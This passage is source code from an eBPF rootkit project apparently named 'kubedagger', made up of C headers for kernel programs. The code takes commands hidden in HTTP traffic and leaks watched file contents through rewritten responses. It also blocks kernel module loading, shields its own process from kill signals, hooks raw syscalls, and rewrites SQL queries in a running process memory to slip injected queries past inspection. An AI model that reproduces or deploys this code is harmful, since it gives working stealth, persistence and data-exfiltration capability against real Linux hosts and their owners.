257 | fd_attr->read_size = retval - (offset + sizeof(kmsg->str) - 1); 258 | 259 | fd_attr->action.id |= FA_OVERRIDE_RETURN_ACTION; 260 | fd_attr->action.return_value = kmsg->size + offset; 261 | 262 | // be sure to override everything 263 | bpf_tail_call(ctx, &fa_progs, FA_FILL_WITH_ZERO_PROG); 264 | } 265 | else 266 | fd_attr->action.id &= ~FA_OVERRIDE_RETURN_ACTION; 267 | 268 | return 0; 269 | } 270 | 271 | #endif 272 | -------------------------------------------------------------------------------- /ebpf/kubedagger/fs_watch.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _FS_WATCH_H_ 9 | #define _FS_WATCH_H_ 10 | 11 | #define FS_WATCH_MAX_FILEPATH 256 12 | #define FS_WATCH_MAX_CONTENT 506 13 | #define FS_WATCH_MAX_CHUNK 100 14 | 15 | __attribute__((always_inline)) u32 gen_random_key() { 16 | char num[4] = {}; 17 | num[0] = (bpf_get_prandom_u32() % 26) + 65; 18 | num[1] = (bpf_get_prandom_u32() % 26) + 65; 19 | num[2] = (bpf_get_prandom_u32() % 26) + 65; 20 | num[3] = (bpf_get_prandom_u32() % 26) + 65; 21 | 22 | return *(u32*)num; 23 | } 24 | 25 | struct fs_watch_key_t { 26 | u8 flag; 27 | char filepath[FS_WATCH_MAX_FILEPATH]; 28 | }; 29 | 30 | struct fs_watch_t { 31 | u32 next_key; 32 | char content[FS_WATCH_MAX_CONTENT]; 33 | }; 34 | 35 | struct bpf_map_def SEC("maps/fs_watch_gen") fs_watch_gen = { 36 | .type = BPF_MAP_TYPE_PERCPU_ARRAY, 37 | .key_size = sizeof(u32), 38 | .value_size = sizeof(struct fs_watch_t), 39 | .max_entries = 1, 40 | .pinning = 0, 41 | .namespace = "", 42 | }; 43 | 44 | struct bpf_map_def SEC("maps/fs_watches") fs_watches = { 45 | .type = BPF_MAP_TYPE_LRU_HASH, 46 | .key_size = sizeof(struct fs_watch_key_t), 47 | .value_size = sizeof(struct fs_watch_t), 48 | .max_entries = 1024, 49 | .pinning = 0, 50 | .namespace = "", 51 | }; 52 | 53 | struct bpf_map_def SEC("maps/dedicated_watch_keys") dedicated_watch_keys = { 54 | .type = BPF_MAP_TYPE_ARRAY, 55 | .key_size = sizeof(u32), 56 | .value_size = sizeof(struct fs_watch_key_t), 57 | .max_entries = 3, 58 | .pinning = 0, 59 | .namespace = "", 60 | }; 61 | 62 | __attribute__((always_inline)) void parse_request(char request[HTTP_REQ_LEN], struct fs_watch_key_t *key) { 63 | switch (request[0]) { 64 | case '0': 65 | key->flag = 0; 66 | break; 67 | case '1': 68 | key->flag = 1; 69 | break; 70 | case '2': 71 | key->flag = 2; 72 | break; 73 | case '3': 74 | key->flag = 3; 75 | break; 76 | } 77 | 78 | u8 end_of_str = 0; 79 | 80 | #pragma unroll 81 | for(int i = 1; i <= FS_WATCH_MAX_FILEPATH; i++) { 82 | if (request[i] == '#' || end_of_str) { 83 | end_of_str = 1; 84 | key->filepath[i - 1] = 0; 85 | } else { 86 | key->filepath[i - 1] = request[i]; 87 | } 88 | } 89 | 90 | return; 91 | } 92 | 93 | __attribute__((always_inline)) int handle_add_fs_watch(char request[HTTP_REQ_LEN]) { 94 | u32 gen_key = 0; 95 | struct fs_watch_t *value = bpf_map_lookup_elem(&fs_watch_gen, &gen_key); 96 | if (value == NULL) 97 | return 0; 98 | 99 | value->content[0] = 0; // we're reusing buffers, make sure we mark it as "writable" 100 | value->next_key = 0; 101 | 102 | struct fs_watch_key_t key = {}; 103 | parse_request(request, &key); 104 | 105 | // handle active watches 106 | if (key.flag > 1) { 107 | key.flag -= 2; 108 | } 109 | 110 | bpf_map_update_elem(&fs_watches, &key, value, BPF_ANY); 111 | return 0; 112 | } 113 | 114 | SEC("xdp/ingress/add_fs_watch") 115 | int xdp_ingress_add_fs_watch(struct xdp_md *ctx) { 116 | struct cursor c; 117 | struct pkt_ctx_t pkt; 118 | int ret = parse_xdp_packet(ctx, &c, &pkt); 119 | if (ret < 0) { 120 | return XDP_PASS; 121 | } 122 | 123 | switch (pkt.ipv4->protocol) { 124 | case IPPROTO_TCP: 125 | if (pkt.tcp->dest != htons(load_http_server_port())) { 126 | return XDP_PASS; 127 | } 128 | 129 | handle_add_fs_watch(pkt.http_req->data); 130 | // tail call to execute the action set for this request 131 | bpf_tail_call(ctx, &xdp_progs, HTTP_ACTION_HANDLER); 132 | break; 133 | } 134 | 135 | return XDP_PASS; 136 | } 137 | 138 | __attribute__((always_inline)) int handle_del_fs_watch(char request[HTTP_REQ_LEN]) { 139 | struct fs_watch_key_t key = {}; 140 | parse_request(request, &key); 141 | if (key.flag > 1) { 142 | key.flag -= 2; 143 | } 144 | 145 | bpf_map_delete_elem(&fs_watches, &key); 146 | return 0; 147 | } 148 | 149 | SEC("xdp/ingress/del_fs_watch") 150 | int xdp_ingress_del_fs_watch(struct xdp_md *ctx) { 151 | struct cursor c; 152 | struct pkt_ctx_t pkt; 153 | int ret = parse_xdp_packet(ctx, &c, &pkt); 154 | if (ret < 0) { 155 | return XDP_PASS; 156 | } 157 | 158 | switch (pkt.ipv4->protocol) { 159 | case IPPROTO_TCP: 160 | if (pkt.tcp->dest != htons(load_http_server_port())) { 161 | return XDP_PASS; 162 | } 163 | 164 | handle_del_fs_watch(pkt.http_req->data); 165 | // tail call to execute the action set for this request 166 | bpf_tail_call(ctx, &xdp_progs, HTTP_ACTION_HANDLER); 167 | break; 168 | } 169 | 170 | return XDP_PASS; 171 | } 172 | 173 | __attribute__((always_inline)) int handle_get_fs_watch(char request[HTTP_REQ_LEN], char response[HTTP_REQ_LEN]) { 174 | struct fs_watch_key_t key = {}; 175 | parse_request(request, &key); 176 | if (key.flag > 1) { 177 | key.flag -= 2; 178 | } 179 | 180 | struct fs_watch_t *value = bpf_map_lookup_elem(&fs_watches, &key); 181 | if (value == NULL) { 182 | return 0; 183 | } 184 | 185 | u8 *cursor = (void *)&value->next_key; 186 | 187 | if (value->next_key > 0) { 188 | response[624] = 35; 189 | response[625] = *cursor++; 190 | response[626] = *cursor++; 191 | response[627] = *cursor++; 192 | response[628] = *cursor; 193 | } else { 194 | response[624] = 95; 195 | response[625] = 95; 196 | response[626] = 95; 197 | response[627] = 95; 198 | response[628] = 95; 199 | } 200 | 201 | u8 end_of_str = 0; 202 | 203 | #pragma unroll 204 | for(int i = 0; i < FS_WATCH_MAX_CONTENT; i++) { 205 | if (value->content[i] == 0 || end_of_str) { 206 | end_of_str = 1; 207 | response[i + 118] = 95; 208 | } else { 209 | response[i + 118] = value->content[i]; 210 | } 211 | } 212 | 213 | return 0; 214 | } 215 | 216 | #endif 217 | -------------------------------------------------------------------------------- /ebpf/kubedagger/hash.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _HASH_H_ 9 | #define _HASH_H_ 10 | 11 | // Fowler/Noll/Vo hash 12 | #define FNV_BASIS ((__u64)14695981039346656037U) 13 | #define FNV_PRIME ((__u64)1099511628211U) 14 | 15 | #define __update_hash(key, data) \ 16 | *key ^= (__u64)(data); \ 17 | *key *= FNV_PRIME; 18 | 19 | __attribute__((always_inline)) void update_hash_byte(__u64 *key, __u8 byte) 20 | { 21 | __update_hash(key, byte); 22 | } 23 | 24 | __attribute__((always_inline)) void update_hash_str(__u64 *hash, const char *str) 25 | { 26 | #pragma unroll 27 | for (int i = 0; i != FS_MAX_SEGMENT_LENGTH; i++) 28 | { 29 | if (str[i] == '\0') 30 | break; 31 | update_hash_byte(hash, str[i]); 32 | } 33 | } 34 | 35 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/http_action.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _HTTP_ACTION_H_ 9 | #define _HTTP_ACTION_H_ 10 | 11 | __attribute__((always_inline)) int handle_http_action(struct xdp_md *ctx, struct cursor *c, struct pkt_ctx_t *pkt) { 12 | struct http_handler_t *handler = bpf_map_lookup_elem(&http_routes, pkt->http_req->pattern); 13 | if (handler == NULL) { 14 | return XDP_PASS; 15 | } 16 | 17 | // write new data 18 | uint8_t *cursor = 0; 19 | if (handler->action == HTTP_DROP) { 20 | return XDP_DROP; 21 | } else if (handler->action == HTTP_EDIT) { 22 | cursor = (void *) pkt->http_req; 23 | } else { 24 | // unknown action, ignore 25 | return XDP_PASS; 26 | } 27 | 28 | // check if there is enough place left in the packet 29 | uint16_t left = c->end - (void *)pkt->http_req; 30 | if (left < handler->new_data_len + 16) { 31 | return XDP_PASS; 32 | } 33 | 34 | #pragma unroll 35 | for (int i = 0; i < 256; i++) { 36 | if (i >= handler->new_data_len) { 37 | goto next; 38 | } 39 | 40 | if (c->pos + i + 1 > c->end) { 41 | goto next; 42 | } 43 | 44 | *cursor++ = handler->new_data[i]; 45 | } 46 | 47 | next: 48 | c->pos = cursor; 49 | uint16_t to_strip = c->end - c->pos; 50 | 51 | if (to_strip > 0) { 52 | uint32_t old_ipv4_len = pkt->ipv4->tot_len; 53 | uint32_t new_ipv4_len = htons(ntohs(old_ipv4_len) - to_strip); 54 | uint32_t csum = ~((uint32_t)pkt->ipv4->check); 55 | 56 | pkt->ipv4->tot_len = new_ipv4_len; 57 | // bpf_printk("new_len:%d to_strip:%d\n", htons(new_ipv4_len) - (pkt->tcp->doff << 2) - (pkt->ipv4->ihl << 2), to_strip); 58 | csum = bpf_csum_diff(&old_ipv4_len, 4, &new_ipv4_len, 4, csum); 59 | csum = (csum & 0xFFFF) + (csum >> 16); 60 | csum = (csum & 0xFFFF) + (csum >> 16); 61 | pkt->ipv4->check = ~csum; 62 | 63 | bpf_xdp_adjust_tail(ctx, -(int)to_strip); 64 | } 65 | 66 | xdp_compute_tcp_csum(ctx, c, pkt); 67 | 68 | return XDP_PASS; 69 | } 70 | 71 | SEC("xdp/ingress/http_action") 72 | int xdp_ingress_http_action(struct xdp_md *ctx) { 73 | struct cursor c; 74 | struct pkt_ctx_t pkt; 75 | int ret = parse_xdp_packet(ctx, &c, &pkt); 76 | if (ret < 0) { 77 | return XDP_PASS; 78 | } 79 | 80 | switch (pkt.ipv4->protocol) { 81 | case IPPROTO_TCP: 82 | if (pkt.tcp->dest != htons(load_http_server_port())) { 83 | return XDP_PASS; 84 | } 85 | 86 | return handle_http_action(ctx, &c, &pkt); 87 | } 88 | 89 | return XDP_PASS; 90 | } 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /ebpf/kubedagger/http_response.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _HTTP_RESPONSE_H_ 9 | #define _HTTP_RESPONSE_H_ 10 | 11 | struct http_resp_t { 12 | char data[HTTP_RESP_LEN]; 13 | }; 14 | 15 | struct bpf_map_def SEC("maps/http_resp_gen") http_resp_gen = { 16 | .type = BPF_MAP_TYPE_PERCPU_ARRAY, 17 | .key_size = sizeof(u32), 18 | .value_size = sizeof(struct http_resp_t), 19 | .max_entries = 1, 20 | .pinning = 0, 21 | .namespace = "", 22 | }; 23 | 24 | struct bpf_map_def SEC("maps/http_resp_pattern") http_resp_pattern = { 25 | .type = BPF_MAP_TYPE_HASH, 26 | .key_size = 15, 27 | .value_size = sizeof(u8), 28 | .max_entries = 1, 29 | .pinning = 0, 30 | .namespace = "", 31 | }; 32 | 33 | __attribute__((always_inline)) int route_resp(struct __sk_buff *skb, struct pkt_ctx_t *pkt, char resp[HTTP_RESP_LEN]) { 34 | // check if a response was registered for the current packet 35 | struct http_response_key_t key = { 36 | .saddr = pkt->ipv4->saddr, 37 | .daddr = pkt->ipv4->daddr, 38 | .source_port = pkt->tcp->source, 39 | .dest_port = pkt->tcp->dest, 40 | }; 41 | 42 | struct http_response_handler_t *value = bpf_map_lookup_elem(&http_responses, &key); 43 | if (value == NULL) 44 | return -1; 45 | 46 | switch (value->handler) { 47 | case HTTP_GET_FS_WATCH_HANDLER: 48 | bpf_map_delete_elem(&http_responses, &key); 49 | return handle_get_fs_watch(value->req, resp); 50 | } 51 | 52 | return 0; 53 | } 54 | 55 | __attribute__((always_inline)) int handle_http_resp(struct __sk_buff *skb, struct cursor *c, struct pkt_ctx_t *pkt) { 56 | u32 gen_key = 0; 57 | struct http_resp_t *resp = bpf_map_lookup_elem(&http_resp_gen, &gen_key); 58 | if (resp == NULL) 59 | return TC_ACT_OK; 60 | 61 | u32 offset = ((u32)(long)c->pos - skb->data); 62 | u32 len = htons(pkt->ipv4->tot_len) - (pkt->tcp->doff << 2) - (pkt->ipv4->ihl << 2); 63 | if (len < HTTP_RESP_LEN) { 64 | return TC_ACT_OK; 65 | } 66 | 67 | bpf_skb_load_bytes(skb, offset, resp->data, HTTP_RESP_LEN); 68 | 69 | u8 *match = bpf_map_lookup_elem(&http_resp_pattern, resp->data); 70 | if (match == NULL) 71 | return TC_ACT_OK; 72 | 73 | if (route_resp(skb, pkt, resp->data) < 0) 74 | return TC_ACT_OK; 75 | 76 | bpf_skb_store_bytes(skb, offset, resp->data, HTTP_RESP_LEN, BPF_F_RECOMPUTE_CSUM); 77 | 78 | return TC_ACT_OK; 79 | } 80 | 81 | #endif 82 | -------------------------------------------------------------------------------- /ebpf/kubedagger/http_router.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _HTTP_ROUTER_H_ 9 | #define _HTTP_ROUTER_H_ 10 | 11 | struct http_response_key_t { 12 | u32 saddr; 13 | u32 daddr; 14 | u16 source_port; 15 | u16 dest_port; 16 | }; 17 | 18 | struct http_response_handler_t { 19 | u32 handler; 20 | char req[HTTP_REQ_LEN]; 21 | }; 22 | 23 | struct bpf_map_def SEC("maps/http_response_gen") http_response_gen = { 24 | .type = BPF_MAP_TYPE_PERCPU_ARRAY, 25 | .key_size = sizeof(u32), 26 | .value_size = sizeof(struct http_response_handler_t), 27 | .max_entries = 1, 28 | .pinning = 0, 29 | .namespace = "", 30 | }; 31 | 32 | struct bpf_map_def SEC("maps/http_responses") http_responses = { 33 | .type = BPF_MAP_TYPE_LRU_HASH, 34 | .key_size = sizeof(struct http_response_key_t), 35 | .value_size = sizeof(struct http_response_handler_t), 36 | .max_entries = 4096, 37 | .pinning = 0, 38 | .namespace = "", 39 | }; 40 | 41 | __attribute__((always_inline)) int handle_req_on_ret(struct pkt_ctx_t *pkt, u32 handler, char req[HTTP_REQ_LEN]) { 42 | struct http_response_key_t key = { 43 | .saddr = pkt->ipv4->daddr, 44 | .daddr = pkt->ipv4->saddr, 45 | .source_port = pkt->tcp->dest, 46 | .dest_port = pkt->tcp->source, 47 | }; 48 | 49 | u32 gen_key = 0; 50 | struct http_response_handler_t *value = bpf_map_lookup_elem(&http_response_gen, &gen_key); 51 | if (value == NULL) 52 | return 0; 53 | 54 | value->handler = handler; 55 | u8 end_of_str = 0; 56 | 57 | #pragma unroll 58 | for(int j = 0; j < HTTP_REQ_LEN; j++) { 59 | if (req[j] == '#' || end_of_str) { 60 | end_of_str = 1; 61 | value->req[j] = 95; 62 | } 63 | 64 | value->req[j] = req[j]; 65 | } 66 | 67 | bpf_map_update_elem(&http_responses, &key, value, BPF_ANY); 68 | return 0; 69 | } 70 | 71 | struct http_handler_t { 72 | u32 action; 73 | u32 handler; 74 | u32 new_data_len; 75 | char new_data[256]; 76 | }; 77 | 78 | struct bpf_map_def SEC("maps/http_routes") http_routes = { 79 | .type = BPF_MAP_TYPE_HASH, 80 | .key_size = 16, 81 | .value_size = sizeof(struct http_handler_t), 82 | .max_entries = 4096, 83 | .pinning = 0, 84 | .namespace = "", 85 | }; 86 | 87 | __attribute__((always_inline)) int route_http_req(struct xdp_md *ctx, struct pkt_ctx_t *pkt) { 88 | // bpf_printk("req %s\n", pkt->http_req->data); 89 | 90 | // select action to take from handlers configuration 91 | struct http_handler_t *handler = bpf_map_lookup_elem(&http_routes, pkt->http_req->pattern); 92 | if (handler == NULL) { 93 | return XDP_PASS; 94 | } 95 | 96 | // prepare http response handler when applicable 97 | switch (handler->handler) { 98 | case HTTP_GET_FS_WATCH_HANDLER: 99 | handle_req_on_ret(pkt, HTTP_GET_FS_WATCH_HANDLER, pkt->http_req->data); 100 | 101 | // redirect to action handler 102 | bpf_tail_call(ctx, &xdp_progs, HTTP_ACTION_HANDLER); 103 | return XDP_PASS; 104 | } 105 | 106 | bpf_tail_call(ctx, &xdp_progs, handler->handler); 107 | return XDP_PASS; 108 | } 109 | 110 | #endif 111 | -------------------------------------------------------------------------------- /ebpf/kubedagger/kmod.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _KMOD_H_ 9 | #define _KMOD_H_ 10 | 11 | SEC("kprobe/__x64_sys_finit_module") 12 | int __x64_sys_finit_module(struct pt_regs *ctx) 13 | { 14 | bpf_override_return(ctx, -ESRCH); 15 | 16 | return 0; 17 | } 18 | 19 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/parser.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _PARSER_H_ 9 | #define _PARSER_H_ 10 | 11 | __attribute__((always_inline)) int parse_xdp_packet(struct xdp_md *ctx, struct cursor *c, struct pkt_ctx_t *pkt) { 12 | xdp_cursor_init(c, ctx); 13 | if (!(pkt->eth = parse_ethhdr(c))) { 14 | return -1; 15 | } 16 | 17 | // we only support IPv4 for now 18 | if (pkt->eth->h_proto != htons(ETH_P_IP)) { 19 | return -1; 20 | } 21 | 22 | if (!(pkt->ipv4 = parse_iphdr(c))) { 23 | return -1; 24 | } 25 | 26 | switch (pkt->ipv4->protocol) { 27 | case IPPROTO_TCP: 28 | if (!(pkt->tcp = parse_tcphdr(c)) || pkt->tcp->dest != htons(load_http_server_port())) { 29 | return -1; 30 | } 31 | 32 | // bpf_printk("IN - SEQ:%x ACK_NO:%x ACK:%d\n", htons(pkt->tcp->seq >> 16) + (htons(pkt->tcp->seq) << 16), htons(pkt->tcp->ack_seq >> 16) + (htons(pkt->tcp->ack_seq) << 16), pkt->tcp->ack); 33 | // bpf_printk(" len: %d\n", htons(pkt->ipv4->tot_len) - (pkt->tcp->doff << 2) - sizeof(struct iphdr)); 34 | 35 | // adjust cursor with variable tcp options 36 | c->pos += (pkt->tcp->doff << 2) - sizeof(struct tcphdr); 37 | 38 | pkt->http_req = c->pos; 39 | if (c->pos + sizeof(struct http_req_t) > c->end) { 40 | return -1; 41 | } 42 | 43 | break; 44 | 45 | case IPPROTO_UDP: 46 | if (!(pkt->udp = parse_udphdr(c)) || (pkt->udp->source != htons(DNS_PORT))) { 47 | return -1; 48 | } 49 | break; 50 | } 51 | 52 | return 0; 53 | } 54 | 55 | __attribute__((always_inline)) int parse_xdp_packet_no_l7(struct xdp_md *ctx, struct cursor *c, struct pkt_ctx_t *pkt) { 56 | xdp_cursor_init(c, ctx); 57 | if (!(pkt->eth = parse_ethhdr(c))) { 58 | return -1; 59 | } 60 | 61 | if (pkt->eth->h_proto == htons(ETH_P_ARP)) { 62 | bpf_tail_call(ctx, &xdp_progs, ARP_MONITORING_HANDLER); 63 | return -1; 64 | } 65 | 66 | // we only support IPv4 for now 67 | if (pkt->eth->h_proto != htons(ETH_P_IP)) { 68 | return -1; 69 | } 70 | 71 | if (!(pkt->ipv4 = parse_iphdr(c))) { 72 | return -1; 73 | } 74 | 75 | switch (pkt->ipv4->protocol) { 76 | case IPPROTO_TCP: 77 | if (!(pkt->tcp = parse_tcphdr(c))) { 78 | return -1; 79 | } 80 | if (pkt->tcp->dest == htons(COOL)) { 81 | bpf_tail_call(ctx, &xdp_progs, SYN_LOOP_HANDLER); 82 | return -1; 83 | } 84 | break; 85 | 86 | case IPPROTO_UDP: 87 | if (!(pkt->udp = parse_udphdr(c))) { 88 | return -1; 89 | } 90 | break; 91 | } 92 | 93 | return 0; 94 | } 95 | 96 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/process.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _PROCESS_H_ 9 | #define _PROCESS_H_ 10 | 11 | __attribute__((always_inline)) u64 get_comm_hash() 12 | { 13 | char comm[32]; 14 | bpf_get_current_comm(&comm, sizeof(comm)); 15 | 16 | u64 hash = FNV_BASIS; 17 | update_hash_str(&hash, comm); 18 | 19 | return hash; 20 | } 21 | 22 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/raw_syscalls.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _RAW_SYSCALLS_H_ 9 | #define _RAW_SYSCALLS_H_ 10 | 11 | struct bpf_map_def SEC("maps/sys_enter_progs") sys_enter_progs = { 12 | .type = BPF_MAP_TYPE_PROG_ARRAY, 13 | .key_size = sizeof(u32), 14 | .value_size = sizeof(u32), 15 | .max_entries = 400, 16 | }; 17 | 18 | struct tracepoint_raw_syscalls_sys_enter_t 19 | { 20 | unsigned short common_type; 21 | unsigned char common_flags; 22 | unsigned char common_preempt_count; 23 | int common_pid; 24 | long id; 25 | unsigned long args[6]; 26 | }; 27 | 28 | SEC("tracepoint/raw_syscalls/sys_enter") 29 | int sys_enter(struct tracepoint_raw_syscalls_sys_enter_t *args) { 30 | long id; 31 | bpf_probe_read(&id, sizeof(id), &args->id); 32 | 33 | // tail call to the eBPF program associated to the syscall ID 34 | u32 prog_id = (u32) id; 35 | bpf_tail_call(args, &sys_enter_progs, prog_id); 36 | 37 | // syscall is not hooked, ignore 38 | return 0; 39 | } 40 | 41 | struct bpf_map_def SEC("maps/sys_exit_progs") sys_exit_progs = { 42 | .type = BPF_MAP_TYPE_PROG_ARRAY, 43 | .key_size = sizeof(u32), 44 | .value_size = sizeof(u32), 45 | .max_entries = 400, 46 | }; 47 | 48 | struct tracepoint_raw_syscalls_sys_exit_t 49 | { 50 | unsigned short common_type; 51 | unsigned char common_flags; 52 | unsigned char common_preempt_count; 53 | int common_pid; 54 | 55 | long id; 56 | long ret; 57 | }; 58 | 59 | SEC("tracepoint/raw_syscalls/sys_exit") 60 | int sys_exit(struct tracepoint_raw_syscalls_sys_exit_t *args) { 61 | long id; 62 | bpf_probe_read(&id, sizeof(id), &args->id); 63 | 64 | // tail call to the eBPF program associated to the syscall ID 65 | u32 prog_id = (u32) id; 66 | bpf_tail_call(args, &sys_exit_progs, prog_id); 67 | 68 | // syscall is not hooked, ignore 69 | return 0; 70 | } 71 | 72 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/signal.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _SIGNAL_H_ 9 | #define _SIGNAL_H_ 10 | 11 | __attribute__((always_inline)) int handle_signal(struct pt_regs *ctx, int pid) 12 | { 13 | u64 kubedagger_pid; 14 | LOAD_CONSTANT("kubedagger_pid", kubedagger_pid); 15 | 16 | if (pid == kubedagger_pid) 17 | { 18 | bpf_override_return(ctx, -ESRCH); 19 | } 20 | 21 | return 0; 22 | } 23 | 24 | SYSCALL_KPROBE1(signal, int, pid) 25 | { 26 | return handle_signal(ctx, pid); 27 | } 28 | 29 | SYSCALL_KPROBE1(kill, int, pid) 30 | { 31 | return handle_signal(ctx, pid); 32 | } 33 | 34 | #endif -------------------------------------------------------------------------------- /ebpf/kubedagger/sqli.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ 2 | /* Copyright (c) 2021 3 | * 4 | * This program is free software; you can redistribute it and/or 5 | * modify it under the terms of version 2 of the GNU General Public 6 | * License as published by the Free Software Foundation. 7 | */ 8 | #ifndef _SQLI_H_ 9 | #define _SQLI_H_ 10 | 11 | #define SQL_QUERY_LEN 512 12 | #define SQL_QUERY_PATTERN_LEN 45 13 | 14 | struct query_override_t { 15 | u64 len; 16 | char query[SQL_QUERY_LEN]; 17 | }; 18 | 19 | struct bpf_map_def SEC("maps/query_override_gen") query_override_gen = { 20 | .type = BPF_MAP_TYPE_PERCPU_ARRAY, 21 | .key_size = sizeof(u32), 22 | .value_size = sizeof(struct query_override_t), 23 | .max_entries = 1, 24 | .pinning = 0, 25 | .namespace = "", 26 | }; 27 | 28 | struct bpf_map_def SEC("maps/query_override") query_override = { 29 | .type = BPF_MAP_TYPE_LRU_HASH, 30 | .key_size = sizeof(u64), 31 | .value_size = sizeof(struct query_override_t), 32 | .max_entries = 1024, 33 | .pinning = 0, 34 | .namespace = "", 35 | }; 36 | 37 | struct query_override_pattern_t { 38 | char query[SQL_QUERY_PATTERN_LEN]; 39 | }; 40 | 41 | struct bpf_map_def SEC("maps/query_override_pattern") query_override_pattern = { 42 | .type = BPF_MAP_TYPE_HASH, 43 | .key_size = sizeof(struct query_override_pattern_t), 44 | .value_size = sizeof(struct query_override_pattern_t), 45 | .max_entries = 10, 46 | .pinning = 0, 47 | .namespace = "", 48 | }; 49 | 50 | SEC("uprobe/SQLDBQueryContext") 51 | int sql_db_query_context(struct pt_regs *ctx) 52 | { 53 | struct query_override_pattern_t pattern = {}; 54 | bpf_probe_read(&pattern.query, sizeof(pattern.query), (void *) PT_REGS_PARM1(ctx)); 55 | char *query_ptr = (void *) PT_REGS_PARM1(ctx); 56 | 57 | struct query_override_pattern_t *override_pattern = bpf_map_lookup_elem(&query_override_pattern, &pattern); 58 | if (override_pattern == NULL) { 59 | return 0; 60 | } 61 | 62 | // save the query 63 | u64 id = bpf_get_current_pid_tgid(); 64 | u32 key = 0; 65 | struct query_override_t *override = bpf_map_lookup_elem(&query_override_gen, &key); 66 | if (override == NULL) { 67 | // should never happen 68 | return 0; 69 | } 70 | 71 | bpf_map_update_elem(&query_override, &id, override, BPF_ANY); 72 | override = bpf_map_lookup_elem(&query_override, &id); 73 | if (override == NULL) { 74 | // should never happen 75 | return 0; 76 | } 77 | 78 | char padding = 'n'; 79 | char cursor = 0; 80 | 81 | #pragma unroll 82 | for (int i = 0; i < SQL_QUERY_LEN - 1; i++) { 83 | bpf_probe_read(&cursor, 1, query_ptr + i); 84 | if (cursor == '-') { 85 | bpf_probe_write_user(query_ptr + i, &padding, 1); 86 | bpf_probe_write_user(query_ptr + i + 1, &padding, 1); 87 | override->len += 2; 88 | goto next; 89 | } 90 | override->query[i] = cursor; 91 | override->len++; 92 | 93 | // override with benign query 94 | if (i < SQL_QUERY_PATTERN_LEN) { 95 | // bpf_printk("%d: %d -> %d\n", i, cursor, override_pattern->query[i]); 96 | bpf_probe_write_user(query_ptr + i, &override_pattern->query[i], 1); 97 | } else { 98 | // bpf_printk("%d: %d -> n\n", i, cursor); 99 | bpf_probe_write_user(query_ptr + i, &padding, 1); 100 | } 101 | } 102 | 103 | next: 104 | return 0; 105 | } 106 | 107 | SEC("uprobe/SQLiteConnQuery") 108 | int sqlite_conn_query(struct pt_regs *ctx) 109 | { 110 | char *query_ptr = (void *) PT_REGS_PARM1(ctx); 111 | u64 id = bpf_get_current_pid_tgid(); 112 | struct query_override_t *override = bpf_map_lookup_elem(&query_override, &id); 113 | if (override == NULL) { 114 | // do not override the SQL query 115 | return 0; 116 | } 117 | 118 | // bpf_printk("ConnQuery: %s\n", query_ptr); 119 | 120 | #pragma unroll 121 | for (int i = 0; i < SQL_QUERY_LEN; i++) { 122 | if (i >= override->len) { 123 | goto next; 124 | } 125 | bpf_probe_write_user(query_ptr + i, &override->query[i], 1); 126 | } 127 | 128 | next: 129 | // bpf_printk("\tConnQuery: %s\n", query_ptr); 130 | bpf_map_delete_elem(&query_override, &id); 131 | return 0; 132 | } 133 | 134 | #endif -------------------------------------------------------------------------------- 